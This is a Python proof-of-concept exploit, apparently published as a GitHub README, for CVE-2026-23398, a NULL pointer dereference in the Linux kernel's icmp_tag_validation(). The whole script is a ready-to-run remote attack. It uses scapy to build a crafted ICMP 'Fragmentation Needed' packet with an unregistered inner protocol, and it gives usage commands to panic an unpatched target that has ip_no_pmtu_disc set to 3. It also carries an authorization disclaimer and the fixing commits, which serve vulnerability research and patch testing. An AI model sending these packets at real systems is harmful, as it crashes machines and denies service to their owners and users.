README.md
Rendering markdown...
#!/usr/bin/env python3
"""
CVE-2026-23398 -- NULL pointer dereference in icmp_tag_validation()
Remote pre-authentication kernel panic via crafted ICMP Fragmentation Needed.
Affected : Linux kernel < stable commits 614aefe / d938dd5 / 1e4e2f5
Fixed : d938dd5a0ad780c891ea3bc94cae7405f11e618a (stable 6.12, 2026-03-25)
614aefe56af8 (mainline)
Precondition on target:
sysctl net.ipv4.ip_no_pmtu_disc = 3
Usage:
sudo python3 poc.py --target <TARGET_IP>
sudo python3 poc.py --target 10.0.0.1 --count 3 --source 203.0.113.1
Dependency: scapy (pip install scapy)
Author: Lukas Johannes Möller (https://github.com/JohannesLks/CVE-2026-23398)
"""
import argparse
import sys
try:
from scapy.all import IP, ICMP, Raw, send
except ImportError:
print("[!] scapy not found. Install with: pip install scapy", file=sys.stderr)
sys.exit(1)
# Protocol 253 is designated "Use for experimentation and testing" (RFC 3692).
# It has no registered handler in inet_protos[], making inet_protos[253] == NULL.
UNREGISTERED_PROTO = 253
def build_frag_needed(target: str, source: str, inner_proto: int):
"""
Craft ICMP Type 3 / Code 4 (Destination Unreachable -- Fragmentation Needed).
RFC 792 mandates that an ICMP error embeds the IP header plus first 8 bytes
of the original datagram that caused the error. icmp_unreach() extracts the
inner header's Protocol field and passes it to icmp_tag_validation().
Inner header direction:
The ICMP error travels from a router to the *sender* of the oversized
packet. The inner header therefore represents a datagram sent BY the
target (victim) TO some destination. Setting inner.src = target
correctly models this and avoids any source-validation drops on the
target kernel.
Bug path:
icmp_rcv() -> icmp_unreach() -> icmp_tag_validation(inner_proto)
static bool icmp_tag_validation(int proto)
{
bool ok;
rcu_read_lock();
ok = rcu_dereference(inet_protos[proto]) // NULL when unregistered
->icmp_strict_tag_validation; // NULL deref, offset +0x10
rcu_read_unlock();
return ok;
}
"""
inner = (
IP(src=target, dst=source, proto=inner_proto)
/ Raw(b"\x00" * 8)
)
pkt = (
IP(dst=target)
/ ICMP(type=3, code=4, unused=1400) # unused carries next-hop MTU
/ inner
)
return pkt
def main():
parser = argparse.ArgumentParser(
description="CVE-2026-23398 PoC -- ICMP NULL deref remote kernel panic",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog=(
"Precondition: target must run\n"
" sysctl -w net.ipv4.ip_no_pmtu_disc=3\n\n"
"Affected kernels: before d938dd5a0ad7 (stable 6.12) / 614aefe56af8 (mainline)"
),
)
parser.add_argument(
"--target", required=True,
help="Target IP address (victim)",
)
parser.add_argument(
"--source", default="1.2.3.4",
help="IP placed in inner header's destination field (default: 1.2.3.4)",
)
parser.add_argument(
"--proto", type=int, default=UNREGISTERED_PROTO,
help=f"Inner IP protocol number -- must have no registered handler (default: {UNREGISTERED_PROTO})",
)
parser.add_argument(
"--count", type=int, default=1,
help="Number of packets to send (default: 1; one is sufficient)",
)
parser.add_argument(
"--interval", type=float, default=0.1,
help="Inter-packet interval in seconds (default: 0.1)",
)
parser.add_argument(
"--iface", default=None,
help="Outgoing network interface (optional; scapy selects automatically)",
)
args = parser.parse_args()
if not 0 <= args.proto <= 255:
print("[!] --proto must be in range 0-255", file=sys.stderr)
sys.exit(1)
pkt = build_frag_needed(args.target, args.source, args.proto)
print("CVE-2026-23398 -- icmp_tag_validation() NULL deref")
print(f" target : {args.target}")
print(f" inner.src : {args.target} (victim as original sender)")
print(f" inner.dst : {args.source}")
print(f" inner.proto : {args.proto} (0x{args.proto:02x})")
print(f" packets : {args.count}")
print()
print(" [!] Precondition: net.ipv4.ip_no_pmtu_disc = 3 must be set on target")
print(" [!] Only test against systems you own or have written authorization for.")
print()
pkt.show2()
print()
try:
send(pkt, count=args.count, inter=args.interval, iface=args.iface, verbose=True)
except PermissionError:
print("[!] Raw socket requires root privileges (run with sudo).", file=sys.stderr)
sys.exit(1)
print(f"[+] {args.count} packet(s) sent.")
print(" If the precondition is met and the kernel is unpatched,")
print(" the target will panic in softirq context (general protection fault).")
if __name__ == "__main__":
main()